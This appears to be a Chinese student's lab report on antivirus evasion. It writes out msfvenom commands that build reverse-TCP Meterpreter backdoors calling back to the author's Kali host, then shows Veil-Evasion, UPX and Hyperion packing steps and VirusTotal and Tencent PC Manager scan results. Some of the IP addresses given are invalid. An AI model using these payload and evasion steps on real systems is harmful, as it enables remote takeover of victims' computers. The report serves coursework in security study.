20165229 NetSec Exp3免杀原理与实践

20165229 NetSec Exp3免杀原理与实践

实践内容

1)正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;

2)通过组合应用各种技术实现恶意代码免杀

(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

基础问题回答

(1)杀软是如何检测出恶意代码的?

答:AV厂商检测恶意软件的方式主流的就三种:

基于特征码的检测:每个程序都会有一段特征码,或者说是一段数据。杀毒软件可以检测某个程序的特征码是否包含恶意代码的特征码,以此来判定是否为恶意代码

启发式恶意软件检测:杀毒软件检测某个程序在系统中做的事情,是不是恶意代码做的事情。以此来判断是不是恶意代码

基于行为的恶意软件检测:也是启发式的一种,可以理解为加了监控模式的启发式检测

(2)免杀是做什么?

答:免杀就是就是让我们的恶意软件没法被以上三种方式找到。

(3)免杀的基本方法有哪些?

答:对于针对杀软基于特征码的检测方法,可以改变或者隐藏恶意代码的特征码。比如使用加壳或者是异或改变特征码。

实践过程记录

MSF编码器

  • 使用 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 7 -b ‘\x00’ LHOST=192.168.199.255 LPORT=5229 -f exe > msd5229.exe 指令进行多次编码,生成.exe的后门程序

  • 放到windows系统中,果不其然,杀软可以发现它

使用virscan进行扫描,结果如下所示



大多数软件可以查杀该病毒,所以仅改变编码是不行的。

  • 使用msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.199.255 lport=5229 x> 5229met.jar 生成.jar的后门程序
  • 然后使用腾讯安全管家进行扫描

安全管家还是能轻易的查出他的问题

  • 再将.jar后门程序上传到VirusTotal上扫描结果如下。

  • 使用msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.199.255 LPORT=5229 x> 20165229_backdoor.php指令

  • 再安全管家中进行扫描,扫描结果如下


安全管家无法查杀.php文件

  • 将生成文件上传到VirusTotal进行扫描,扫描结果如下

  • 使用veil-evasion生成后门程序及检测

安装veil

  • 再Kal命令行中输入git clone https://www.github.com/Veil-Framework/Veil-Evasion.git
  • 下载完成后,我们还需要对其软件配置包进行安装,依次输入如下命令:
ls
cd setup
ls
./setup.sh```
(该shell脚本将自动为我们安装软件配置包).....这些步骤没有截图。。
- 安装完成过后进入安装Veil-Evasion的文件当中运行指令```python Veil-Evasion.py```成功进入到菜单界面,可以看到当前一共有 51 种 payload 可用!我们可以使用 list 命令来查看 payload 的详细信息!根据 payload 编号,我们选择``6) c/meterpreter/rev_tcp```来进行演示
![](https://img2018.cnblogs.com/blog/1071525/201903/1071525-20190331213931614-1386699539.png)
![](https://img2018.cnblogs.com/blog/1071525/201903/1071525-20190331213949373-469328429.png)
- 依次输入命令set LHOST 192.168.199.266(Kali的IP),set LPORT 5229,options
![](https://img2018.cnblogs.com/blog/1296520/201903/1296520-20190331214318448-1657517535.png)

- 输入指令generate生成文件,输入payload名字veil5229生成后门程序
![](https://img2018.cnblogs.com/blog/1296520/201903/1296520-20190331214407440-445430519.png)
- 根据途中所给的路径可以找到veil5229.exe
- 用virustotal检测一下

![](https://img2018.cnblogs.com/blog/1296520/201903/1296520-20190331214553550-1500441921.png)


- 再放到Windows腾讯安全管家中扫描一下

![](https://img2018.cnblogs.com/blog/1296520/201903/1296520-20190331214742131-1135369769.png)

还是被发现了,免杀做的还不够

- 输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.255 LPORT=5229 -f c用C语言生成一段shellcode

![](https://img2018.cnblogs.com/blog/1296520/201903/1296520-20190331214922192-614016441.png)

vi ```20165229.c```创建一个文件,将刚刚生成的unsigned char buf[]复制到其中

![](https://img2018.cnblogs.com/blog/1296520/201903/1296520-20190331215003761-38611012.png)

- 输入指令```i686-w64-mingw32-g++ 20165229buf.c -o 20165229.exe```生成可执行文件
- 用virustotal检测如下
![](https://img2018.cnblogs.com/blog/1296520/201903/1296520-20190331215148221-1747139083.png)
- 安全管家来查一下,看看有没有问题呢?

![](https://img2018.cnblogs.com/blog/1296520/201903/1296520-20190331215456325-582906629.png)

事实证明,不得行,代码再复杂也没用。

- 加壳
- - - 
加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。

- 加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。

- 加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。

- 这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。

- MSF的编码器使用类似方法,对shellcode进行再编码。

- 从技术上分壳分为:

    - 压缩壳:减少应用体积,如ASPack,UPX
    - 加密壳:版权保护,反跟踪。如ASProtect,Armadillo
    - 虚拟机:通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect, Themida
----
- 压缩壳(UPX)
给20165229buf.exe加个壳得到5229_upxed.exe
```upx 20165229buf.exe - o 5229_upxed.exe```
- 用virustotal检测如下
![](https://img2018.cnblogs.com/blog/1296520/201903/1296520-20190331215831078-888115828.png)
- 腾讯电脑管家再登场
![](https://img2018.cnblogs.com/blog/1296520/201903/1296520-20190331215948891-980098239.png)



- 加密壳(Hyperion)
将```5229_upxed.exe```拷贝到```/usr/share/windows-binaries/hyperion/```目录中
进入目录 ```/usr/share/windows-binaries/hyperion/``` 中
输入指令```wine hyperion.exe -v 5229_upxed.exe 5229_upxed_Hyperion.exe加壳```

- 用virustotal检测如下
![](https://img2018.cnblogs.com/blog/1296520/201903/1296520-20190331220253601-823712309.png)

- 安全管家检测一下
![](https://img2018.cnblogs.com/blog/1296520/201903/1296520-20190331220356584-1119320819.png)

### 通过组合应用各种技术实现恶意代码免杀
- 对``` veil53061.exe ```加压缩壳
![](https://img2018.cnblogs.com/blog/1296520/201903/1296520-20190331221408217-875871014.png)
- 用virustotal检测如下

![](https://img2018.cnblogs.com/blog/1296520/201903/1296520-20190331221946553-1776378498.png)


- 腾讯安全管家扫描
![](https://img2018.cnblogs.com/blog/1296520/201903/1296520-20190331222012143-2092518454.png)
没问题

### 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
受害者:win7虚拟机
杀毒软件:电脑管家13.3.20237.212
对2016529.exe加密壳,再压缩壳,生成5229buf_Hyperion_upxed.exe
![](https://img2018.cnblogs.com/blog/1296520/201903/1296520-20190331222549062-733588457.png)
- 使用上个实验的方法将文件传输到虚拟机
- 打开虚拟机的安全管家对``` 5229buf_Hyperion_upxed.exe```进行扫描
![](https://img2018.cnblogs.com/blog/1296520/201903/1296520-20190331222850356-1352985884.png)



被发现了。。。。。

### 实验心得体会
通过这次的免杀实验,我掌握了恶意代码躲避杀毒软件检测的方法,体会到了病毒程序的恐怖。发现了只要将恶意代码稍作修改,就能逃脱杀毒软件真的检测,可见最好的方法还是不下载不明软件,不点击不正规的网站,及时更新病毒库。...我也不知道我的安全管家怎么了,在实验中我每次把测试的恶意代码从kali拖到自己电脑时都没有安全警告提示,后来发现再打开就又了。可能他会云杀毒。

posted on 2019-03-31 22:34  赵凯杰  阅读(192)  评论(0编辑  收藏  举报

导航